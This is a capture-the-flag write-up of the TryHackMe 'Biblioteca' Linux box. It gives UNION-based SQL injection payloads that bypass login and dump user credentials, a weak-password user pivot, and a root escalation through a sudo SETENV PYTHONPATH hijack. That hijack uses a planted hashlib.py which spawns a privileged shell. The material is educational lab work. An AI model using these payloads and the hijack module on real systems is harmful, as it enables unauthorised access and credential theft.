THM: Biblioteca
Intro⌗
THM: Biblioteca is a medium difficulty Linux box that starts with a classic SQL injection vulnerability. We’ll use several UNION attacks to enumerate the database and eventually leak some user credentials. We’ll use those to SSH in to the box and pivot to another user account by simply guessing a weak password. Finally, we’ll escalate to a root shell by hijacking the PYTHONPATH environment variable when running a python script via sudo.
Recon⌗
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Biblioteca]
└─$ sudo rustscan -a 10.10.140.0 -- -sV -oA nmap1 130 ⨯
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
8000/tcp open http syn-ack ttl 61 Werkzeug httpd 2.0.2 (Python 3.8.10)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The only service we can see besides SSH is a Werkzeug HTTP server on port 8000 which means we’re going to be dealing with a python webapp.
Checking it out in a browser we see a basic login page, and an option to sign up for an account.
SQL Injection⌗
With a simple admin' OR 1=1 #
SQLi payload as the username we are able to bypass authentication.
There isn’t much of anything to see on the page besides a welcome message for “smokey”:
That name smokey is likely coming from the same database query that runs during the authentication process, so we can try leaking data with a UNION SQLi attack.
First we need to figure out how many columns the query is selecting so we can match that with our union.
This requires iterating through a series of tests, each one selecting an additional null
value until the query no longer breaks.
Our starting payload (URL encoded) will be admin'+UNION+SELECT+null--+
.
It causes an error on the server because we have not balanced the number of columns being selected in our union with the rest of the query.
On our 4th attempt we get a successful response, so now we’ve confirmed 4 columns are required.
Notice the page says “Hi None!!” now. The “None” is from one of our null values, so now we can iterate through each null and replace it with a string to see which column we can use for leaking data.
With admin'+UNION+SELECT+null,'6rian',null,null--+
we see “Hi 6rian!!” in the response.
Now the fun part!
If we select database()
in the second column we’ll discover what database we’re currently in which is: website
.
We can query information_schema.tables
to see what tables are in our database. The INFORMATION_SCHEMA is a special database that is present in every MySQL database, and it contains all kinds of information about the MySQL instance itself, including what schemas and tables are available.
admin'+UNION+SELECT+NULL,group_concat(table_name),NULL,NULL+from+information_schema.tables+where+table_schema='website'--+
This tells us the only table in the website
schema is users
.
Next we can query information_schema.columns
to get a list of columns in the users
table.
admin'+UNION+SELECT+NULL,group_concat(column_name),NULL,NULL+from+information_schema.columns+where+table_name='users'--+
And we get “Hi email,id,password,username!!” in the response. We now have the information we need to be able to leak all user data.
First let’s get a list of usernames.
admin'+UNION+SELECT+null,group_concat(username),null,null+FROM+users--+
And it looks like “smokey” is the only user account. What’s their password?
admin'+UNION+SELECT+null,password,null,null+FROM+users+where+username='smokey'--+
User Flag⌗
Now that we have found some creds, let’s see if we can use them to get a shell.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Biblioteca]
└─$ ssh smokey@10.10.249.27
The authenticity of host '10.10.249.27 (10.10.249.27)' can't be established.
ECDSA key fingerprint is SHA256:pav/Y8tQ2pgyKvZZspHIQ9oKqEVya+Cmvr8iztfpjxg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.249.27' (ECDSA) to the list of known hosts.
smokey@10.10.249.27's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 13 Aug 2022 12:54:17 PM UTC
System load: 0.09 Processes: 114
Usage of /: 61.3% of 9.78GB Users logged in: 0
Memory usage: 60% IPv4 address for eth0: 10.10.249.27
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Dec 7 03:21:42 2021 from 10.0.2.15
smokey@biblioteca:~$ id; uname -a;
uid=1000(smokey) gid=1000(smokey) groups=1000(smokey)
Linux biblioteca 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
And we’re in!
There’s no flag in smokey’s home directory so let’s see what other users are on the box.
smokey@biblioteca:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
smokey:x:1000:1000:smokey:/home/smokey:/bin/bash
hazel:x:1001:1001::/home/hazel:/bin/bash
Checking hazel’s home directory we’ll find the user flag but are unable to read it. sudo -l
shows smokey has no sudo privileges either.
After lots of additional enumeration I wasn’t finding a path to get a shell as hazel, so I looked at the hint which simply said: “Weak password”. I wasn’t sure what to make of that at first, but decided to try su hazel
and use the username as the password, and it worked..
smokey@biblioteca:/tmp$ su hazel
Password:
hazel@biblioteca:/tmp$ cd
hazel@biblioteca:~$ wc -c user.txt
45 user.txt
Privilege Escalation⌗
Besides the user flag there is a hasher.py
script in hazel’s home directory which is owned by root, but we have read permission.
import hashlib
def hashing(passw):
md5 = hashlib.md5(passw.encode())
print("Your MD5 hash is: ", end ="")
print(md5.hexdigest())
sha256 = hashlib.sha256(passw.encode())
print("Your SHA256 hash is: ", end ="")
print(sha256.hexdigest())
sha1 = hashlib.sha1(passw.encode())
print("Your SHA1 hash is: ", end ="")
print(sha1.hexdigest())
def main():
passw = input("Enter a password to hash: ")
hashing(passw)
if __name__ == "__main__":
main()
Hazel has permission to run this script as root.
hazel@biblioteca:~$ sudo -l
Matching Defaults entries for hazel on biblioteca:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hazel may run the following commands on biblioteca:
(root) SETENV: NOPASSWD: /usr/bin/python3 /home/hazel/hasher.py
What’s also interesting here is the SETENV:
declaration. It allows us to set environment variables while executing the command as root.
With this privilege, we can hijack the PYTHONPATH
environment variable to load our own malicious version of the hashlib
library that the script is importing.
Let’s create our hijack module at /dev/shm/hashlib.py
with the following code:
import os
def md5(s):
os.system('/bin/bash -p')
return s
md5()
is the first function from the real hashlib
the hasher script is calling so by defining our own function by the same name we are able to control what code gets executed.
We’ll set PYTHONPATH=/dev/shm
when running the sudo command so python will look in the /dev/shm
directory when trying to load libraries. When it finds our malicious hashlib library it will load that, and then when the hashlib.md5()
function is executed, we’ll have a root shell!
hazel@biblioteca:/dev/shm$ sudo PYTHONPATH=/dev/shm /usr/bin/python3 /home/hazel/hasher.py
Enter a password to hash: asdf
root@biblioteca:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@biblioteca:/dev/shm# cd /root && ls -la
total 32
drwx------ 5 root root 4096 Mar 2 03:02 .
drwxr-xr-x 19 root root 4096 Dec 7 2021 ..
lrwxrwxrwx 1 root root 9 Dec 7 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 3 root root 4096 Dec 7 2021 .cache
lrwxrwxrwx 1 root root 9 Dec 7 2021 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r----- 1 root root 31 Mar 2 03:01 root.txt
drwxr-xr-x 3 root root 4096 Dec 7 2021 snap
drwx------ 2 root root 4096 Dec 7 2021 .ssh
-rw------- 1 root root 0 Mar 2 03:02 .viminfo
root@biblioteca:~# wc -c root.txt
31 root.txt
✅